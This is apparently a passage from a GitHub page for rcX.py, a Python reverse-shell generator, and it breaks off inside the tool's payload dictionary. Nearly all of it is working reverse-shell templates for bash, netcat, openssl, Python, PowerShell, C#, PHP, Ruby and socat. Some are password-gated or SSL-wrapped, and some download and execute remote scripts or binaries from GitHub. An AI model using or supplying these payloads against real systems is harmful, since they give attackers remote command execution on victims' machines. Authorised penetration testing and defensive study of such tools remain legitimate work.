-
Notifications
You must be signed in to change notification settings - Fork 13
/
rcX.py
2166 lines (1961 loc) · 184 KB
/
rcX.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# coding=utf8
__Author__ = 'FlyfishSec'
__Version__ = 'v0.1.0'
__SITE__ = 'https://github.com/FlyfishSec/rcX'
__Description__ = ''''''
__Release_Notes__ = '''
✨ New Features
+ Web mode add `--notunnel` switch
🎨 Improvements
+ Code optimization
🐛 Bug fixes
+ Complement missing url encoder option.
'''
__BANNERS__ = ['''
____ ___
_______ ____ \\ \\/ /
\\_ __ \\_/ ___\\ \\ /
| | \\/\\ \\___ / \\ {1}
|__| \\___ >/___/\\ \\
\\/ \\_/ {0}
''',
'''
_..._
.-'_..._''.
.' .' '.\\
/ .'
.-,.--. . '
| .-. || | ____ _____
| | | || | `. \\ .' /
| | | |. ' `. `' .'
| | '- \\ '. . '. .'
| | '. `._____.-'/ .' `.
| | `-.______ / .' .'`. `. {1}
|_| `.' / `. `.
'----' '----' {0}
''']
try:
import base64 as b64
import json
import os
import random
import re
import socket
import ssl
import string
import sys
import threading
from argparse import ArgumentParser
from time import sleep
import requests
from pyngrok import ngrok, conf, installer
# Get file execution path
if getattr(sys, 'frozen', False):
exec_path = os.path.dirname(sys.executable)
elif __file__:
exec_path = os.path.dirname(__file__)
payloads = {
"reverse": {
"bash": {
"Bash-i": "{shell_path} -i >& /dev/{protocol}/{host}/{port} 0>&1",
"Bash-l": "{shell_path} -l >& /dev/{protocol}/{host}/{port} 0>&1",
"Bash-p": "{shell_path} -p >& /dev/{protocol}/{host}/{port} 0>&1",
"Bash-c": "{shell_path} -c '{shell_path} -l >& /dev/{protocol}/{host}/{port} 0>&1'",
"Bash196": "0<&196;exec 196<>/dev/{protocol}/{host}/{port}; sh <&196 >&196 2>&196",
"Bash-readline": "exec 5<>/dev/{protocol}/{host}/{port}; while read line 0<&5; do $line 2>&5 >&5; done",
"Bash5": "{shell_path} -i 5<> /dev/{protocol}/{host}/{port} 0<&5 1>&5 2>&5",
"zsh": "zsh -c 'zmodload zsh/net/tcp && ztcp {host} {port} && zsh >&$REPLY 2>&$REPLY 0>&$REPLY'",
},
"bash-password": {
"Bash-i": "{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -i;esac' >& /dev/{protocol}/{host}/{port} 0>&1",
"Bash-l": "{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -l;esac' >& /dev/{protocol}/{host}/{port} 0>&1",
"Bash-p": "{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -p;esac' >& /dev/{protocol}/{host}/{port} 0>&1",
},
"bash-ssl": {
"Bash-i": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -i 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
"Bash-l": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -l 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
"Bash-p": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -p 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
},
"bash-ssl-password": {
"Bash-i": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -i;esac' 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
"Bash-l": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -l;esac' 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
"Bash-p": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -p;esac' 2>&1|openssl s_client -quiet -connect {host}:{port} >/tmp/f",
},
"netcat": {
"nc": "{binary_name} -e {shell_path} {host} {port}{nc_args}",
"nc-c": "{binary_name} {host} {port} -c {shell_path}{nc_args}",
"ncat": "ncat -e {shell_path} {host} {port}{ncat_args}",
"ncat-c": "ncat -c {shell_path} {host} {port}{ncat_args}",
"nc-mkfifo": "rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -i 2>&1|{binary_name} {host} {port} >/tmp/f",
"nc-mknod": "rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|{shell_path} -i 2>&1|{binary_name} {host} {port} >/tmp/f",
"DotnetCat": "dncat -e {shell_path} {host} -p {port}"
},
"netcat-windows": {
"nc": "{binary_name} -e {shell_path} {host} {port}{nc_args}",
"nc-c": "{binary_name} {host} {port} -c {shell_path}{nc_args}",
"ncat": "ncat -e {shell_path} {host} {port}{ncat_args}",
"ncat-c": "ncat -c {shell_path} {host} {port}{ncat_args}",
"DotnetCat": "dncat -e {shell_path} {host} -p {port}"
},
"netcat-password": {
"nc-c": "nc -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -i;esac' {host} {port}",
"ncat-c": "ncat -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -i;esac' {host} {port}",
"nc-mkfifo": '''rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in '{password}')bash -i;esac' 2>&1|{binary_name} {host} {port} >/tmp/f''',
"nc-mknod": '''rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|{shell_path} -c 'echo -ne $RANDOM=;read k;case $k in "{password}")bash -i;esac' 2>&1|{binary_name} {host} {port} >/tmp/f''',
},
"netcat-ssl": {
"ncat": "ncat -e {shell_path} {host} {port} --ssl",
"ncat-c": "ncat -c {shell_path} {host} {port} --ssl",
},
"netcat-ssl-password": {
"ncat-c": "ncat --ssl -c 'echo -ne $RANDOM=;read k;case $k in '{password}'){shell_path} -i;esac' {host} {port}",
},
"netcat-windows-password": {
"ncat-c": '''{binary_name}{ncat_args} -c "echo|set /p=%random%=&powershell $k=Read-Host;write-host $k=;if($k -eq '{password}'){{{shell_path}}}" {host} {port}''',
},
"telnet-linux": {
"telnet": "rm -f /tmp/p;mknod /tmp/p p && {binary_name} {host} {port} 0/tmp/p",
"telnet-two_ports": "{binary_name} {host} {port}|{shell_path}|telnet {host} {port2}",
},
"openssl-linux": {
"openssl": "mkfifo /tmp/s;{shell_path} -i </tmp/s 2>&1|{binary_name} s_client -quiet -connect {host}:{port}>/tmp/s;rm /tmp/s",
"openssl-2": "mkfifo fifo; /bin/sh -i < fifo 2>&1 | openssl s_client -quiet -connect {host}:{port} > fifo; rm fifo",
},
"python": {
"python": '''{binary_name} -c "import socket,threading as t,subprocess as s;c=socket.socket();c.connect(('{host}',{port}));p=s.Popen('{shell_path}',stdout=s.PIPE,stderr=s.STDOUT,stdin=s.PIPE,shell=1,universal_newlines=1);t.Thread(target=lambda:[p.stdin.flush() for _ in iter(int,1) if p.stdin.write(c.recv(1024).decode())],).start();t.Thread(target=lambda:[c.send(p.stdout.read(1).encode()) for _ in iter(int,1)],).start();p.wait()"''',
"python-exec": '''{binary_name} -c "exec('import os,socket,threading as t,subprocess as s\\ndef i():\\n while 1:\\n try:\\n p.stdin.write(c.recv(1024).decode());p.stdin.flush()\\n except:\\n os._exit(0)\\ndef j():\\n while 1:\\n try:c.send(p.stdout.read(1).encode())\\n except:pass\\nc=socket.socket()\\np=s.Popen(\\'{shell_path}\\',stdout=s.PIPE,stderr=s.STDOUT,stdin=s.PIPE,shell=1,universal_newlines=1)\\nfor _ in range(9):\\n try:\\n c.connect((\\'{host}\\',{port}));break\\n except:\\n pass\\nt.Thread(target=i,).start();t.Thread(target=j,).start()\\np.wait()')"''',
"python-pty": '''{binary_name} -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{host}',{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn('{shell_path}')"''',
"python-pty-short": '''{binary_name} -c "a=__import__;s=a('socket');o=a('os').dup2;p=a('pty').spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect(('{host}',{port}));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p('{shell_path}')"''',
"python-subprocess1": '''{binary_name} -c "socket=__import__('socket');subprocess=__import__('subprocess');os=__import__('os');s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{host}',{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['{shell_path}','-i'])"''',
"python-subprocess2": '''{binary_name} -c "a=__import__;b=a('socket').socket;p=a('subprocess').call;o=a('os').dup2;s=b();s.connect(('{host}',{port}));f=s.fileno;o(f(),0);o(f(),1);o(f(),2);p(['{shell_path}','-i'])"''',
"pwncat": "pwncat -e {shell_path} {host} {port} --reconn --reconn-wait 3{pwncat_args}",
},
"python-windows": {
"python": '''{binary_name} -c "import socket,threading as t,subprocess as s;c=socket.socket();c.connect(('{host}',{port}));p=s.Popen('{shell_path}',stdout=s.PIPE,stderr=s.STDOUT,stdin=s.PIPE,shell=1,universal_newlines=1);t.Thread(target=lambda:[p.stdin.flush() for _ in iter(int,1) if p.stdin.write(c.recv(1024).decode())],).start();t.Thread(target=lambda:[c.send(p.stdout.read(1).encode()) for _ in iter(int,1)],).start();p.wait()"''',
"python-exec": '''{binary_name} -c "exec('import os,socket,threading as t,subprocess as s\\ndef i():\\n while 1:\\n try:\\n p.stdin.write(c.recv(1024).decode());p.stdin.flush()\\n except:\\n os._exit(0)\\ndef j():\\n while 1:\\n try:c.send(p.stdout.read(1).encode())\\n except:pass\\nc=socket.socket()\\np=s.Popen(\\'{shell_path}\\',stdout=s.PIPE,stderr=s.STDOUT,stdin=s.PIPE,shell=1,universal_newlines=1)\\nfor _ in range(9):\\n try:\\n c.connect((\\'{host}\\',{port}));break\\n except:\\n pass\\nt.Thread(target=i,).start();t.Thread(target=j,).start()\\np.wait()')"''',
"pwncat": "pwncat -e {shell_path} {host} {port} --reconn --reconn-wait 3{pwncat_args}",
},
"powershell": {
"powershell-1": '''{binary_name} /nop /c "$client=New-Object System.Net.Sockets.TCPClient('{host}',{port});$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{{0}};while(($i=$stream.Read($bytes,0,$bytes.Length)) -ne 0){{;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2= $sendback+'PS '+(pwd).Path+'>';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}};$client.Close()"''',
"powershell-2": '''{binary_name} /nop /noni /ep bypass /c "$TCPClient=New-Object Net.Sockets.TCPClient('{host}',{port});$NetworkStream=$TCPClient.GetStream();$StreamWriter=New-Object IO.StreamWriter($NetworkStream);function WriteToStream($String){{[byte[]]$script:Buffer=0..$TCPClient.ReceiveBufferSize|%{{0}};$StreamWriter.Write($String+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name+'>');$StreamWriter.Flush()}}WriteToStream'';while(($BytesRead=$NetworkStream.Read($Buffer,0,$Buffer.Length)) -gt 0){{$Command=([text.encoding]::UTF8).GetString($Buffer, 0,$BytesRead-1);$Output=try{{Invoke-Expression $Command 2>&1|Out-String}}catch{{$_|Out-String}}WriteToStream($Output)}}$StreamWriter.Close()"''',
"powershell-ssl": '''{binary_name} /nop /noni /ep bypass /c "$TCPClient=New-Object Net.Sockets.TCPClient('{host}',{port});$NetworkStream=$TCPClient.GetStream();$SslStream=New-Object Net.Security.SslStream($NetworkStream,$false,({{$true}} -as [Net.Security.RemoteCertificateValidationCallback]));$SslStream.AuthenticateAsClient('cloudflare-dns.com',$null,$false);if(!$SslStream.IsEncrypted -or !$SslStream.IsSigned){{$SslStream.Close();exit}}$StreamWriter=New-Object IO.StreamWriter($SslStream);function WriteToStream($String){{[byte[]]$script:Buffer=0..$TCPClient.ReceiveBufferSize|%{{0}};$StreamWriter.Write($String+[System.Security.Principal.WindowsIdentity]::GetCurrent().Name+'>');$StreamWriter.Flush()}};WriteToStream'';while(($BytesRead=$SslStream.Read($Buffer,0,$Buffer.Length)) -gt 0){{$Command=([text.encoding]::UTF8).GetString($Buffer,0,$BytesRead-1);$Output=try{{Invoke-Expression $Command 2>&1|Out-String}}catch{{$_|Out-String}}WriteToStream($Output)}}$StreamWriter.Close()"''',
"powershell-ConPty": '''{binary_name} "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing);Invoke-ConPtyShell {host} {port}"''',
"powercat-Github-1": '''{binary_name} "IEX(IWR https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c {host} -p {port} -e {shell_path}"''',
"powercat-Github-2": '''{binary_name} "IEX(curl https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1);powercat -c {host} -p {port} -e {shell_path}"''',
"powercat-Github-3": '''{binary_name} "IEX(New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c {host} -p {port} -e {shell_path}"''',
},
"csharp": {
"csharp-csc": '''echo using System;using System.IO;using System.Net;using System.Net.Sockets;using System.Text;using System.Diagnostics;public class i{{public static TcpClient c;public static NetworkStream s;public static StreamReader r;public static StreamWriter w;public static StringBuilder u;public static void Main(){{c=new TcpClient();u=new StringBuilder();if(!c.Connected){{try{{c.Connect("{host}",{port});s=c.GetStream();r=new StreamReader(s,System.Text.Encoding.Default);w=new StreamWriter(s,System.Text.Encoding.Default);}}catch(Exception){{return;}}Process h;h=new Process();h.StartInfo.FileName="{shell_path}";h.StartInfo.UseShellExecute=false;h.StartInfo.RedirectStandardInput=true;h.StartInfo.RedirectStandardOutput=true;h.StartInfo.RedirectStandardError=true;h.OutputDataReceived+=new DataReceivedEventHandler(SortOutputHandler);h.ErrorDataReceived+=new DataReceivedEventHandler(SortOutputHandler);h.Start();h.BeginOutputReadLine();h.BeginErrorReadLine();while(true){{try{{u.Append(r.ReadLine());h.StandardInput.WriteLine(u);u.Remove(0,u.Length);}}catch(Exception){{r.Close();w.Close();h.Kill();break;}}}}}}}}public static void SortOutputHandler(object sendingProcess,DataReceivedEventArgs outLine){{StringBuilder strOutput=new StringBuilder();if(!String.IsNullOrEmpty(outLine.Data)){{try{{strOutput.Append(outLine.Data);w.WriteLine(strOutput);w.Flush();}}catch(Exception){{}}}}}}}}>%tmp%\\0&&for,/f,%p,in,('where,/r,%systemroot%\\Microsoft.NET\\Framework,csc.exe'),do,%p /out:%tmp%\\0.exe %tmp%\\0&&%tmp%\\0.exe&&del,/q %tmp%\\0.exe %tmp%\\0''',
"csharp-powershell-code": '''$j=get-random;$d=@"\nusing System;using System.IO;using System.Net;using System.Net.Sockets;using System.Text;using System.Diagnostics;public class i$j{{public static TcpClient c;public static NetworkStream s;public static StreamReader r;public static StreamWriter w;public static StringBuilder u;public static void Main(){{c=new TcpClient();u=new StringBuilder();if(!c.Connected){{try{{c.Connect("{host}",{port});s=c.GetStream();r=new StreamReader(s,System.Text.Encoding.Default);w=new StreamWriter(s,System.Text.Encoding.Default);}}catch(Exception){{return;}}Process h;h=new Process();h.StartInfo.FileName="{shell_path}";h.StartInfo.UseShellExecute=false;h.StartInfo.RedirectStandardInput=true;h.StartInfo.RedirectStandardOutput=true;h.StartInfo.RedirectStandardError=true;h.OutputDataReceived+=new DataReceivedEventHandler(SortOutputHandler);h.ErrorDataReceived+=new DataReceivedEventHandler(SortOutputHandler);h.Start();h.BeginOutputReadLine();h.BeginErrorReadLine();while(true){{try{{u.Append(r.ReadLine());h.StandardInput.WriteLine(u);u.Remove(0,u.Length);}}catch(Exception){{r.Close();w.Close();h.Kill();break;}}}}}}}}public static void SortOutputHandler(object sendingProcess,DataReceivedEventArgs outLine){{StringBuilder strOutput=new StringBuilder();if(!String.IsNullOrEmpty(outLine.Data)){{try{{strOutput.Append(outLine.Data);w.WriteLine(strOutput);w.Flush();}}catch(Exception){{}}}}}}}}\n"@;Add-Type -TypeDefinition $d -Language CSharp;iex "[i$j]::Main()"'''
},
"php": {
"php-exec": '''{binary_name} -r "$sock=fsockopen('{host}',{port});exec('{shell_path} <&3 >&3 2>&3');"''',
"php-shell_exec": '''{binary_name} -r "$sock=fsockopen('{host}',{port});shell_exec('{shell_path} <&3 >&3 2>&3');"''',
"php-system": '''{binary_name} -r "$sock=fsockopen('{host}',{port});system('{shell_path} -i <&3 >&3 2>&3');"''',
"php-passthru": '''{binary_name} -r "$sock=fsockopen('{host}',{port});passthru('{shell_path} -i <&3 >&3 2>&3');"''',
"php-popen": '''{binary_name} -r "$sock=fsockopen('{host}',{port});popen('{shell_path} -i <&3 >&3 2>&3",'r');"''',
"php-proc_open": '''{binary_name} -r "$sock=fsockopen('{host}',{port});$proc=proc_open('{shell_path}',array(0=>$sock,1=>$sock,2=>$sock),$pipes);"''',
"php-backtick": '''{binary_name} -r "$sock=fsockopen('{host}',{port});`{shell_path} <&3 >&3 2>&3`;"''',
"php-code": '''<?php class S{{private $addr=null;private $port=null;private $os=null;private $s=null;private $descriptorspec=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));private $buffer=1024;private $clen=0;private $error=false;public function __construct($addr,$port){{$this->addr=$addr;$this->port=$port;}}private function detect(){{$detected=true;if(stripos(PHP_OS,'LINUX')!==false){{$this->os='LINUX';$this->s='/bin/sh';}}else if(stripos(PHP_OS,'WIN32')!==false||stripos(PHP_OS,'WINNT')!==false||stripos(PHP_OS,'WINDOWS')!==false){{$this->os='WINDOWS';$this->s='cmd.exe';}}else{{$detected=false;}}return $detected;}}private function daemonize(){{$exit=false;if(!function_exists('pcntl_fork')){{}}else if(($pid=@pcntl_fork())<0){{}}else if($pid>0){{$exit=true;}}else if(posix_setsid()<0){{}}else{{}}return $exit;}}private function settings(){{@error_reporting(0);@set_time_limit(0);@umask(0);}}private function dump($data){{$data=str_replace('<','<',$data);$data=str_replace('>','>',$data);}}private function read($stream,$name,$buffer){{if(($data=@fread($stream,$buffer))===false){{$this->error=true;}}return $data;}}private function write($stream,$name,$data){{if(($bytes=@fwrite($stream,$data))===false){{$this->error=true;}}return $bytes;}}private function rw($input,$output,$iname,$oname){{while(($data=$this->read($input,$iname,$this->buffer))&&$this->write($output,$oname,$data)){{if($this->os==='WINDOWS'&&$oname==='STDIN'){{$this->clen+=strlen($data);}}$this->dump($data);}}}}private function brw($input,$output,$iname,$oname){{$fstat=fstat($input);$size=$fstat['size'];if($this->os==='WINDOWS'&&$iname==='STDOUT'&&$this->clen){{while($this->clen>0&&($bytes=$this->clen>=$this->buffer?$this->buffer:$this->clen)&&$this->read($input,$iname,$bytes)){{$this->clen-=$bytes;$size-=$bytes;}}}}while($size>0&&($bytes=$size>=$this->buffer?$this->buffer:$size)&&($data=$this->read($input,$iname,$bytes))&&$this->write($output,$oname,$data)){{$size-=$bytes;$this->dump($data);}}}}public function run(){{if($this->detect()&&!$this->daemonize()){{$this->settings();$socket=@fsockopen($this->addr,$this->port,$errno,$errstr,30);if(!$socket){{echo"{{$errno}}: {{$errstr}}";}}else{{stream_set_blocking($socket,false);$process=@proc_open($this->s,$this->descriptorspec,$pipes,null,null);if(!$process){{}}else{{foreach($pipes as $pipe){{stream_set_blocking($pipe,false);}}$status=proc_get_status($process);@fwrite($socket,"PID:{{$status['pid']}}");do{{$status=proc_get_status($process);if(feof($socket)){{break;}}else if(feof($pipes[1])||!$status['running']){{break;}}$streams=array('read'=>array($socket,$pipes[1],$pipes[2]),'write'=>null,'except'=>null);$num_changed_streams=@stream_select($streams['read'],$streams['write'],$streams['except'],0);if($num_changed_streams===false){{break;}}else if($num_changed_streams>0){{if($this->os==='LINUX'){{if(in_array($socket,$streams['read'])){{$this->rw($socket,$pipes[0],'SOCKET','STDIN');}}if(in_array($pipes[2],$streams['read'])){{$this->rw($pipes[2],$socket,'STDERR','SOCKET');}}if(in_array($pipes[1],$streams['read'])){{$this->rw($pipes[1],$socket,'STDOUT','SOCKET');}}}}else if($this->os==='WINDOWS'){{if(in_array($socket,$streams['read'])){{$this->rw($socket,$pipes[0],'SOCKET','STDIN');}}if(($fstat=fstat($pipes[2]))&&$fstat['size']){{$this->brw($pipes[2],$socket,'STDERR','SOCKET');}}if(($fstat=fstat($pipes[1]))&&$fstat['size']){{$this->brw($pipes[1],$socket,'STDOUT','SOCKET');}}}}}}}}while(!$this->error);foreach($pipes as $pipe){{fclose($pipe);}}proc_close($process);}}fclose($socket);}}}}}}}}$sh=new S('{host}',{port});$sh->run();unset($sh);?>''',
},
"php-windows": {
"php": '''echo "<?php class S{{private $addr=null;private $port=null;private $os=null;private $s=null;private $descriptorspec=array(0=>array('pipe','r'),1=>array('pipe','w'),2=>array('pipe','w'));private $buffer=1024;private $clen=0;private $error=false;public function __construct($addr,$port){{$this->addr=$addr;$this->port=$port;}}private function detect(){{$detected=true;if(stripos(PHP_OS,'LINUX')!==false){{$this->os='LINUX';$this->s='/bin/sh';}}else if(stripos(PHP_OS,'WIN32')!==false||stripos(PHP_OS,'WINNT')!==false||stripos(PHP_OS,'WINDOWS')!==false){{$this->os='WINDOWS';$this->s='cmd.exe';}}else{{$detected=false;}}return $detected;}}private function daemonize(){{$exit=false;if(!function_exists('pcntl_fork')){{}}else if(($pid=@pcntl_fork())<0){{}}else if($pid>0){{$exit=true;}}else if(posix_setsid()<0){{}}else{{}}return $exit;}}private function settings(){{@error_reporting(0);@set_time_limit(0);@umask(0);}}private function dump($data){{$data=str_replace('<','<',$data);$data=str_replace('>','>',$data);}}private function read($stream,$name,$buffer){{if(($data=@fread($stream,$buffer))===false){{$this->error=true;}}return $data;}}private function write($stream,$name,$data){{if(($bytes=@fwrite($stream,$data))===false){{$this->error=true;}}return $bytes;}}private function rw($input,$output,$iname,$oname){{while(($data=$this->read($input,$iname,$this->buffer))&&$this->write($output,$oname,$data)){{if($this->os==='WINDOWS'&&$oname==='STDIN'){{$this->clen+=strlen($data);}}$this->dump($data);}}}}private function brw($input,$output,$iname,$oname){{$fstat=fstat($input);$size=$fstat['size'];if($this->os==='WINDOWS'&&$iname==='STDOUT'&&$this->clen){{while($this->clen>0&&($bytes=$this->clen>=$this->buffer?$this->buffer:$this->clen)&&$this->read($input,$iname,$bytes)){{$this->clen-=$bytes;$size-=$bytes;}}}}while($size>0&&($bytes=$size>=$this->buffer?$this->buffer:$size)&&($data=$this->read($input,$iname,$bytes))&&$this->write($output,$oname,$data)){{$size-=$bytes;$this->dump($data);}}}}public function run(){{if($this->detect()&&!$this->daemonize()){{$this->settings();$socket=@fsockopen($this->addr,$this->port,$errno,$errstr,30);if(!$socket){{echo"{{$errno}}: {{$errstr}}";}}else{{stream_set_blocking($socket,false);$process=@proc_open($this->s,$this->descriptorspec,$pipes,null,null);if(!$process){{}}else{{foreach($pipes as $pipe){{stream_set_blocking($pipe,false);}}$status=proc_get_status($process);@fwrite($socket,"PID:{{$status['pid']}}");do{{$status=proc_get_status($process);if(feof($socket)){{break;}}else if(feof($pipes[1])||!$status['running']){{break;}}$streams=array('read'=>array($socket,$pipes[1],$pipes[2]),'write'=>null,'except'=>null);$num_changed_streams=@stream_select($streams['read'],$streams['write'],$streams['except'],0);if($num_changed_streams===false){{break;}}else if($num_changed_streams>0){{if($this->os==='LINUX'){{if(in_array($socket,$streams['read'])){{$this->rw($socket,$pipes[0],'SOCKET','STDIN');}}if(in_array($pipes[2],$streams['read'])){{$this->rw($pipes[2],$socket,'STDERR','SOCKET');}}if(in_array($pipes[1],$streams['read'])){{$this->rw($pipes[1],$socket,'STDOUT','SOCKET');}}}}else if($this->os==='WINDOWS'){{if(in_array($socket,$streams['read'])){{$this->rw($socket,$pipes[0],'SOCKET','STDIN');}}if(($fstat=fstat($pipes[2]))&&$fstat['size']){{$this->brw($pipes[2],$socket,'STDERR','SOCKET');}}if(($fstat=fstat($pipes[1]))&&$fstat['size']){{$this->brw($pipes[1],$socket,'STDOUT','SOCKET');}}}}}}}}while(!$this->error);foreach($pipes as $pipe){{fclose($pipe);}}proc_close($process);}}fclose($socket);}}}}}}}}$sh=new S('{host}',{port});$sh->run();unset($sh);?>"|{binary_name}''',
},
"ruby-linux": {
"ruby-spawn": '''{binary_name} -rsocket -e"spawn('{shell_path}',[:in,:out,:err]=>TCPSocket.new('{host}',{port}))"''',
"ruby-sprintf": '''{binary_name} -rsocket -e"f=TCPSocket.open('{host}',{port}).to_i;exec sprintf('{shell_path} -i <&%d >&%d 2>&%d',f,f,f)"''',
"ruby-new": '''{binary_name} -rsocket -e "exit if fork;c=TCPSocket.new('{host}',{port});loop{{c.gets.chomp!;(exit! if $_=='exit');($_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){{|io|c.print io.read}}))rescue c.puts 'failed: #{{$_}}'}}"''',
"ruby-windows": '''{binary_name} -rsocket -e "c=TCPSocket.new('{host}','{port}');while(cmd=c.gets);IO.popen({shell_path},'r'){{|io|c.print io.read}}end"''',
},
"socat": {
"socat": "{binary_name} {protocol}:{host}:{port} EXEC:{shell_path}{socat_args}",
"socat-tty": "{binary_name} {protocol}:{host}:{port} EXEC:'{shell_path}',pty,stderr,setsid,sigint,sane",
"socat-linux": '''wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat;chmod +x /tmp/socat;/tmp/socat exec:'{shell_path} -li',pty,stderr,setsid,sigint,sane {protocol}:{host}:{port}''',
},
"golang-linux": {
